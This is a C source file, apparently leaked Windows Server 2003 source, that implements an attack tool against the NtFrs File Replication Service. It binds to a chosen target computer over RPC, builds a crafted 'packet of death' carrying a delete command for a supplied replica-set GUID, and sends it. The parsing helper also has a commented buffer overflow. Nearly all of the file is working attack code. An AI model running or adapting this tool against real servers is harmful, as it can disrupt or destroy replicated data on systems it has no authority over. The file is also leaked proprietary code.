Leaked source code of windows server 2003
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

802 lines
18 KiB

  1. #include <ntreppch.h>
  2. #include <frs.h>
  3. #include <frsrpc.h>
  4. #include "frsrpc_c.c"
  5. #include "attack.h"
  6. WCHAR* ProgramName = NULL;
  7. VOID
  8. StrToGuid(
  9. IN PCHAR s,
  10. OUT GUID *pGuid
  11. )
  12. /*++
  13. Routine Description:
  14. Convert a string in GUID display format to an object ID that
  15. can be used to lookup a file.
  16. based on a routine by Mac McLain
  17. Arguments:
  18. pGuid - ptr to the output GUID.
  19. s - The input character buffer in display guid format.
  20. e.g.: b81b486b-c338-11d0-ba4f0000f80007df
  21. Must be at least GUID_CHAR_LEN (35 bytes) long.
  22. Function Return Value:
  23. None.
  24. --*/
  25. {
  26. UCHAR Guid[sizeof(GUID) + sizeof(DWORD)]; // 3 byte overflow
  27. GUID *lGuid = (GUID *)Guid;
  28. sscanf(s, "%08lx-%04x-%04x-%02x%02x%02x%02x%02x%02x%02x%02x",
  29. &lGuid->Data1,
  30. &lGuid->Data2,
  31. &lGuid->Data3,
  32. &lGuid->Data4[0],
  33. &lGuid->Data4[1],
  34. &lGuid->Data4[2],
  35. &lGuid->Data4[3],
  36. &lGuid->Data4[4],
  37. &lGuid->Data4[5],
  38. &lGuid->Data4[6],
  39. &lGuid->Data4[7]);
  40. COPY_GUID(pGuid, lGuid);
  41. }
  42. VOID*
  43. MALLOC(size_t x) {
  44. VOID* _x;
  45. _x = malloc(x);
  46. if(_x == NULL){
  47. printf("Out of memory!!\n\n");
  48. exit(1);
  49. }
  50. ZeroMemory(_x, x);
  51. return(_x);
  52. }
  53. PVOID
  54. MIDL_user_allocate(
  55. IN size_t Bytes
  56. )
  57. /*++
  58. Routine Description:
  59. Allocate memory for RPC.
  60. Arguments:
  61. Bytes - Number of bytes to allocate.
  62. Return Value:
  63. NULL - memory could not be allocated.
  64. !NULL - address of allocated memory.
  65. --*/
  66. {
  67. return MALLOC(Bytes);
  68. }
  69. VOID
  70. MIDL_user_free(
  71. IN PVOID Buffer
  72. )
  73. /*++
  74. Routine Description:
  75. Free memory for RPC.
  76. Arguments:
  77. Buffer - Address of memory allocated with MIDL_user_allocate().
  78. Return Value:
  79. None.
  80. --*/
  81. {
  82. FREE(Buffer);
  83. }
  84. BindWithAuth(
  85. IN PWCHAR ComputerName, OPTIONAL
  86. OUT handle_t *OutHandle
  87. )
  88. /*++
  89. Routine Description:
  90. Bind to the NtFrs service on ComputerName (this machine if NULL)
  91. with authenticated, encrypted packets.
  92. Arguments:
  93. ComputerName - Bind to the service on this computer. The computer
  94. name can be any RPC-bindable name. Usually, the
  95. NetBIOS or DNS name works just fine. The NetBIOS
  96. name can be found with GetComputerName() or
  97. hostname. The DNS name can be found with
  98. gethostbyname() or ipconfig /all. If NULL, the
  99. service on this computer is contacted. The service
  100. is contacted using Secure RPC.
  101. OutHandle - Bound, resolved, authenticated handle
  102. Return Value:
  103. Win32 Status
  104. --*/
  105. {
  106. DWORD WStatus, WStatus1;
  107. DWORD ComputerLen;
  108. handle_t Handle = NULL;
  109. PWCHAR LocalName = NULL;
  110. PWCHAR PrincName = NULL;
  111. PWCHAR BindingString = NULL;
  112. try {
  113. //
  114. // Return value
  115. //
  116. *OutHandle = NULL;
  117. //
  118. // If needed, get computer name
  119. //
  120. if (ComputerName == NULL) {
  121. ComputerLen = MAX_COMPUTERNAME_LENGTH + 2;
  122. LocalName = malloc(ComputerLen * sizeof(WCHAR));
  123. if(LocalName == NULL) {
  124. WStatus = ERROR_NOT_ENOUGH_MEMORY;
  125. goto CLEANUP;
  126. }
  127. if (!GetComputerName(LocalName, &ComputerLen)) {
  128. WStatus = GetLastError();
  129. goto CLEANUP;
  130. }
  131. ComputerName = LocalName;
  132. }
  133. //
  134. // Create a binding string to NtFrs on some machine.
  135. WStatus = RpcStringBindingCompose(NULL, PROTSEQ_TCP_IP, ComputerName,
  136. NULL, NULL, &BindingString);
  137. if(!WIN_SUCCESS(WStatus)) {
  138. goto CLEANUP;
  139. }
  140. //
  141. // Store the binding in the handle
  142. //
  143. WStatus = RpcBindingFromStringBinding(BindingString, &Handle);
  144. if (!WIN_SUCCESS(WStatus)) {
  145. goto CLEANUP;
  146. }
  147. //
  148. // Resolve the binding to the dynamic endpoint
  149. //
  150. WStatus = RpcEpResolveBinding(Handle, frsrpc_ClientIfHandle);
  151. if (!WIN_SUCCESS(WStatus)) {
  152. goto CLEANUP;
  153. }
  154. //
  155. // Find the principle name
  156. //
  157. WStatus = RpcMgmtInqServerPrincName(Handle, RPC_C_AUTHN_GSS_NEGOTIATE, &PrincName);
  158. if (!WIN_SUCCESS(WStatus)) {
  159. goto CLEANUP;
  160. }
  161. //
  162. // Set authentication info
  163. //
  164. WStatus = RpcBindingSetAuthInfo(Handle,
  165. PrincName,
  166. RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
  167. RPC_C_AUTHN_GSS_NEGOTIATE,
  168. NULL,
  169. RPC_C_AUTHZ_NONE);
  170. if (!WIN_SUCCESS(WStatus)) {
  171. goto CLEANUP;
  172. }
  173. //
  174. // SUCCESS
  175. //
  176. *OutHandle = Handle;
  177. Handle = NULL;
  178. WStatus = ERROR_SUCCESS;
  179. CLEANUP:;
  180. } except (EXCEPTION_EXECUTE_HANDLER) {
  181. //
  182. // Exception (may be RPC)
  183. //
  184. WStatus = GetExceptionCode();
  185. }
  186. //
  187. // Clean up any handles, events, memory, ...
  188. //
  189. try {
  190. if (LocalName) {
  191. free(LocalName);
  192. }
  193. if (BindingString) {
  194. WStatus1 = RpcStringFreeW(&BindingString);
  195. }
  196. // Only update status if we have no errror so far.
  197. if(WIN_SUCCESS(WStatus)){
  198. WStatus = WStatus1;
  199. }
  200. if (PrincName) {
  201. WStatus1 = RpcStringFree(&PrincName);
  202. }
  203. // Only update status if we have no errror so far.
  204. if(WIN_SUCCESS(WStatus)){
  205. WStatus = WStatus1;
  206. }
  207. if (Handle) {
  208. WStatus1 = RpcBindingFree(&Handle);
  209. }
  210. // Only update status if we have no errror so far.
  211. if(WIN_SUCCESS(WStatus)){
  212. WStatus = WStatus1;
  213. }
  214. } except (EXCEPTION_EXECUTE_HANDLER) {
  215. //
  216. // Exception (may be RPC)
  217. //
  218. WStatus1 = GetExceptionCode();
  219. // Only update status if we have no errror so far.
  220. if(WIN_SUCCESS(WStatus)){
  221. WStatus = WStatus1;
  222. }
  223. }
  224. return WStatus;
  225. }
  226. BindWithNamedPipeNoAuth(
  227. IN PWCHAR ComputerName, OPTIONAL
  228. OUT handle_t *OutHandle
  229. )
  230. /*++
  231. Routine Description:
  232. Bind to the NtFrs service on ComputerName (this machine if NULL)
  233. with authenticated, encrypted packets.
  234. Arguments:
  235. ComputerName - Bind to the service on this computer. The computer
  236. name can be any RPC-bindable name. Usually, the
  237. NetBIOS or DNS name works just fine. The NetBIOS
  238. name can be found with GetComputerName() or
  239. hostname. The DNS name can be found with
  240. gethostbyname() or ipconfig /all. If NULL, the
  241. service on this computer is contacted. The service
  242. is contacted using Secure RPC.
  243. OutHandle - Bound, resolved, authenticated handle
  244. Return Value:
  245. Win32 Status
  246. --*/
  247. {
  248. DWORD WStatus, WStatus1;
  249. DWORD ComputerLen;
  250. handle_t Handle = NULL;
  251. PWCHAR LocalName = NULL;
  252. PWCHAR PrincName = NULL;
  253. PWCHAR BindingString = NULL;
  254. try {
  255. //
  256. // Return value
  257. //
  258. *OutHandle = NULL;
  259. //
  260. // If needed, get computer name
  261. //
  262. if (ComputerName == NULL) {
  263. ComputerLen = MAX_COMPUTERNAME_LENGTH + 2;
  264. LocalName = malloc(ComputerLen * sizeof(WCHAR));
  265. if(LocalName == NULL) {
  266. WStatus = ERROR_NOT_ENOUGH_MEMORY;
  267. goto CLEANUP;
  268. }
  269. if (!GetComputerName(LocalName, &ComputerLen)) {
  270. WStatus = GetLastError();
  271. goto CLEANUP;
  272. }
  273. ComputerName = LocalName;
  274. }
  275. //
  276. // Create a binding string to NtFrs on some machine.
  277. WStatus = RpcStringBindingCompose(NULL, PROTSEQ_NAMED_PIPE, ComputerName,
  278. NULL, NULL, &BindingString);
  279. if(!WIN_SUCCESS(WStatus)) {
  280. goto CLEANUP;
  281. }
  282. //
  283. // Store the binding in the handle
  284. //
  285. WStatus = RpcBindingFromStringBinding(BindingString, &Handle);
  286. if (!WIN_SUCCESS(WStatus)) {
  287. goto CLEANUP;
  288. }
  289. //
  290. // Resolve the binding to the dynamic endpoint
  291. //
  292. WStatus = RpcEpResolveBinding(Handle, frsrpc_ClientIfHandle);
  293. if (!WIN_SUCCESS(WStatus)) {
  294. goto CLEANUP;
  295. }
  296. //
  297. // Set authentication info
  298. //
  299. WStatus = RpcBindingSetAuthInfo(Handle,
  300. NULL,
  301. RPC_C_AUTHN_LEVEL_NONE,
  302. RPC_C_AUTHN_NONE,
  303. NULL,
  304. RPC_C_AUTHZ_NONE);
  305. if (!WIN_SUCCESS(WStatus)) {
  306. goto CLEANUP;
  307. }
  308. //
  309. // SUCCESS
  310. //
  311. *OutHandle = Handle;
  312. Handle = NULL;
  313. WStatus = ERROR_SUCCESS;
  314. CLEANUP:;
  315. } except (EXCEPTION_EXECUTE_HANDLER) {
  316. //
  317. // Exception (may be RPC)
  318. //
  319. WStatus = GetExceptionCode();
  320. }
  321. //
  322. // Clean up any handles, events, memory, ...
  323. //
  324. try {
  325. if (LocalName) {
  326. free(LocalName);
  327. }
  328. if (BindingString) {
  329. WStatus1 = RpcStringFreeW(&BindingString);
  330. }
  331. // Only update status if we have no errror so far.
  332. if(WIN_SUCCESS(WStatus)){
  333. WStatus = WStatus1;
  334. }
  335. if (PrincName) {
  336. WStatus1 = RpcStringFree(&PrincName);
  337. }
  338. // Only update status if we have no errror so far.
  339. if(WIN_SUCCESS(WStatus)){
  340. WStatus = WStatus1;
  341. }
  342. if (Handle) {
  343. WStatus1 = RpcBindingFree(&Handle);
  344. }
  345. // Only update status if we have no errror so far.
  346. if(WIN_SUCCESS(WStatus)){
  347. WStatus = WStatus1;
  348. }
  349. } except (EXCEPTION_EXECUTE_HANDLER) {
  350. //
  351. // Exception (may be RPC)
  352. //
  353. WStatus1 = GetExceptionCode();
  354. // Only update status if we have no errror so far.
  355. if(WIN_SUCCESS(WStatus)){
  356. WStatus = WStatus1;
  357. }
  358. }
  359. return WStatus;
  360. }
  361. BindWithNoAuth(
  362. IN PWCHAR ComputerName, OPTIONAL
  363. OUT handle_t *OutHandle
  364. )
  365. /*++
  366. Routine Description:
  367. Bind to the NtFrs service on ComputerName (this machine if NULL)
  368. with authenticated, encrypted packets.
  369. Arguments:
  370. ComputerName - Bind to the service on this computer. The computer
  371. name can be any RPC-bindable name. Usually, the
  372. NetBIOS or DNS name works just fine. The NetBIOS
  373. name can be found with GetComputerName() or
  374. hostname. The DNS name can be found with
  375. gethostbyname() or ipconfig /all. If NULL, the
  376. service on this computer is contacted. The service
  377. is contacted using Secure RPC.
  378. OutHandle - Bound, resolved, authenticated handle
  379. Return Value:
  380. Win32 Status
  381. --*/
  382. {
  383. DWORD WStatus, WStatus1;
  384. DWORD ComputerLen;
  385. handle_t Handle = NULL;
  386. PWCHAR LocalName = NULL;
  387. PWCHAR PrincName = NULL;
  388. PWCHAR BindingString = NULL;
  389. try {
  390. //
  391. // Return value
  392. //
  393. *OutHandle = NULL;
  394. //
  395. // If needed, get computer name
  396. //
  397. if (ComputerName == NULL) {
  398. ComputerLen = MAX_COMPUTERNAME_LENGTH + 2;
  399. LocalName = malloc(ComputerLen * sizeof(WCHAR));
  400. if(LocalName == NULL) {
  401. WStatus = ERROR_NOT_ENOUGH_MEMORY;
  402. goto CLEANUP;
  403. }
  404. if (!GetComputerName(LocalName, &ComputerLen)) {
  405. WStatus = GetLastError();
  406. goto CLEANUP;
  407. }
  408. ComputerName = LocalName;
  409. }
  410. //
  411. // Create a binding string to NtFrs on some machine.
  412. WStatus = RpcStringBindingCompose(NULL, PROTSEQ_TCP_IP, ComputerName,
  413. NULL, NULL, &BindingString);
  414. if(!WIN_SUCCESS(WStatus)) {
  415. goto CLEANUP;
  416. }
  417. //
  418. // Store the binding in the handle
  419. //
  420. WStatus = RpcBindingFromStringBinding(BindingString, &Handle);
  421. if (!WIN_SUCCESS(WStatus)) {
  422. goto CLEANUP;
  423. }
  424. //
  425. // Resolve the binding to the dynamic endpoint
  426. //
  427. WStatus = RpcEpResolveBinding(Handle, frsrpc_ClientIfHandle);
  428. if (!WIN_SUCCESS(WStatus)) {
  429. goto CLEANUP;
  430. }
  431. //
  432. // Set authentication info
  433. //
  434. WStatus = RpcBindingSetAuthInfo(Handle,
  435. NULL,
  436. RPC_C_AUTHN_LEVEL_NONE,
  437. RPC_C_AUTHN_NONE,
  438. NULL,
  439. RPC_C_AUTHZ_NONE);
  440. if (!WIN_SUCCESS(WStatus)) {
  441. goto CLEANUP;
  442. }
  443. //
  444. // SUCCESS
  445. //
  446. *OutHandle = Handle;
  447. Handle = NULL;
  448. WStatus = ERROR_SUCCESS;
  449. CLEANUP:;
  450. } except (EXCEPTION_EXECUTE_HANDLER) {
  451. //
  452. // Exception (may be RPC)
  453. //
  454. WStatus = GetExceptionCode();
  455. }
  456. //
  457. // Clean up any handles, events, memory, ...
  458. //
  459. try {
  460. if (LocalName) {
  461. free(LocalName);
  462. }
  463. if (BindingString) {
  464. WStatus1 = RpcStringFreeW(&BindingString);
  465. }
  466. // Only update status if we have no errror so far.
  467. if(WIN_SUCCESS(WStatus)){
  468. WStatus = WStatus1;
  469. }
  470. if (PrincName) {
  471. WStatus1 = RpcStringFree(&PrincName);
  472. }
  473. // Only update status if we have no errror so far.
  474. if(WIN_SUCCESS(WStatus)){
  475. WStatus = WStatus1;
  476. }
  477. if (Handle) {
  478. WStatus1 = RpcBindingFree(&Handle);
  479. }
  480. // Only update status if we have no errror so far.
  481. if(WIN_SUCCESS(WStatus)){
  482. WStatus = WStatus1;
  483. }
  484. } except (EXCEPTION_EXECUTE_HANDLER) {
  485. //
  486. // Exception (may be RPC)
  487. //
  488. WStatus1 = GetExceptionCode();
  489. // Only update status if we have no errror so far.
  490. if(WIN_SUCCESS(WStatus)){
  491. WStatus = WStatus1;
  492. }
  493. }
  494. return WStatus;
  495. }
  496. //
  497. // Contruct the packet that we will send
  498. //
  499. DWORD
  500. BuildPacketOfDeath(
  501. VOID **ppPacket,
  502. char* TargetGuid
  503. )
  504. {
  505. PCOMM_PACKET CommPkt = NULL;
  506. COMM_PKT_DESCRIPTOR BoP;
  507. COMM_PKT_DESCRIPTOR Pkt1, Pkt2, Pkt3, Pkt4, Pkt5, Pkt6;
  508. COMM_PKT_DESCRIPTOR EoP;
  509. ULONG Zero = 0;
  510. ULONG NullData = COMM_NULL_DATA;
  511. GUID Guid;
  512. ULONG Len;
  513. ULONG LenGuid;
  514. ULONG LenName;
  515. GNAME GName;
  516. PBYTE ReplicaData = NULL;
  517. PBYTE CopyTo = NULL;
  518. PVOID CopyFrom = NULL;
  519. ULONG CopyLen = 0;
  520. ULONG CmdDelete = CMD_DELETE;
  521. BoP.CommType = COMM_BOP;
  522. BoP.CommDataLength = sizeof(ULONG);
  523. BoP.ActualDataLength = sizeof(ULONG);
  524. BoP.Data = &Zero;
  525. BoP.Next = &Pkt2;
  526. Pkt2.CommType = COMM_COMMAND;
  527. Pkt2.CommDataLength = sizeof(ULONG);
  528. Pkt2.ActualDataLength = sizeof(ULONG);
  529. Pkt2.Data = &CmdDelete;
  530. Pkt2.Next = &Pkt1;
  531. GName.Guid = &Guid;
  532. StrToGuid(TargetGuid, GName.Guid);
  533. GName.Name = L"Fake Name";
  534. LenGuid = sizeof(GUID);
  535. LenName = (wcslen(GName.Name) + 1) * sizeof(WCHAR);
  536. Len = LenGuid + LenName + (2 * sizeof(ULONG));
  537. ReplicaData = MALLOC(sizeof(ULONG) + // Len
  538. sizeof(ULONG) + // LenGuid
  539. LenGuid + // GName.Guid
  540. sizeof(ULONG) + // LenName
  541. LenName // GName.Name
  542. );
  543. CopyTo = ReplicaData;
  544. CopyFrom = &LenGuid;
  545. CopyLen = sizeof(ULONG);
  546. CopyMemory(CopyTo, CopyFrom, CopyLen);
  547. CopyTo += CopyLen;
  548. CopyFrom = GName.Guid;
  549. CopyLen = LenGuid;
  550. CopyMemory(CopyTo, CopyFrom, CopyLen);
  551. CopyTo += CopyLen;
  552. CopyFrom = &LenName;
  553. CopyLen = sizeof(ULONG);
  554. CopyMemory(CopyTo, CopyFrom, CopyLen);
  555. CopyTo += CopyLen;
  556. CopyFrom = GName.Name;
  557. CopyLen = LenName;
  558. CopyMemory(CopyTo, CopyFrom, CopyLen);
  559. CopyTo += CopyLen;
  560. Pkt1.CommType = COMM_REPLICA;
  561. Pkt1.CommDataLength = sizeof(USHORT);
  562. Pkt1.ActualDataLength = Len;
  563. Pkt1.Data = ReplicaData;
  564. Pkt1.Next = &EoP;
  565. EoP.CommType = COMM_EOP;
  566. EoP.CommDataLength = sizeof(ULONG);
  567. EoP.ActualDataLength = sizeof(ULONG);
  568. EoP.Data = &NullData;
  569. EoP.Next = NULL;
  570. *ppPacket = BuildCommPktFromDescriptorList(&BoP,
  571. COMM_MEM_SIZE,
  572. NULL,
  573. NULL,
  574. NULL,
  575. NULL,
  576. NULL,
  577. NULL
  578. );
  579. return ERROR_SUCCESS;
  580. }
  581. DWORD
  582. MakeRpcCall(
  583. handle_t Handle,
  584. VOID* pPacket
  585. )
  586. {
  587. DWORD WStatus = ERROR_SUCCESS;
  588. try{
  589. WStatus = FrsRpcSendCommPkt(Handle, pPacket);
  590. } except(EXCEPTION_EXECUTE_HANDLER) {
  591. WStatus = GetExceptionCode();
  592. }
  593. return WStatus;
  594. }
  595. void
  596. Usage(
  597. void
  598. )
  599. {
  600. printf("\nUsage:\n\n");
  601. printf("%ws ReplicaSetGuid [TargetComputer]\n\n\n", ProgramName);
  602. }
  603. __cdecl
  604. main(
  605. int argc,
  606. char** Argv
  607. )
  608. {
  609. WCHAR* ComputerName = NULL;
  610. handle_t Handle;
  611. DWORD WStatus = ERROR_SUCCESS;
  612. VOID *pPacket = NULL;
  613. ProgramName = (WCHAR*) malloc((strlen(Argv[0]) + 1) * sizeof(WCHAR));
  614. wsprintf(ProgramName,L"%S",Argv[0]);
  615. if((argc > 3) || (argc < 2)) {
  616. Usage();
  617. exit(1);
  618. }
  619. if(strlen(Argv[1]) != 35) {
  620. printf("\nIncorrect guid format!\n\n");
  621. exit(1);
  622. }
  623. // A computer was name supplied
  624. if(argc == 3) {
  625. ComputerName = (WCHAR*) malloc((strlen(Argv[2]) + 1) * sizeof(WCHAR));
  626. wsprintf(ComputerName,L"%S", Argv[2]);
  627. }
  628. printf("Computer name = %ws\n", ComputerName);
  629. WStatus = BindWithAuth(ComputerName, &Handle);
  630. if(!WIN_SUCCESS(WStatus)){
  631. printf("Error binding: %d\n",WStatus);
  632. exit(1);
  633. } else {
  634. printf("Bind succeeded!\n");
  635. }
  636. WStatus = BuildPacketOfDeath(&pPacket, Argv[1]);
  637. if(!WIN_SUCCESS(WStatus)) {
  638. printf("Error building packet: %d\n",WStatus);
  639. exit(1);
  640. } else {
  641. printf("Packet built!\n");
  642. }
  643. WStatus = MakeRpcCall(Handle, pPacket);
  644. printf("Result of RPC call: %d (0x%08x)\n",WStatus, WStatus);
  645. }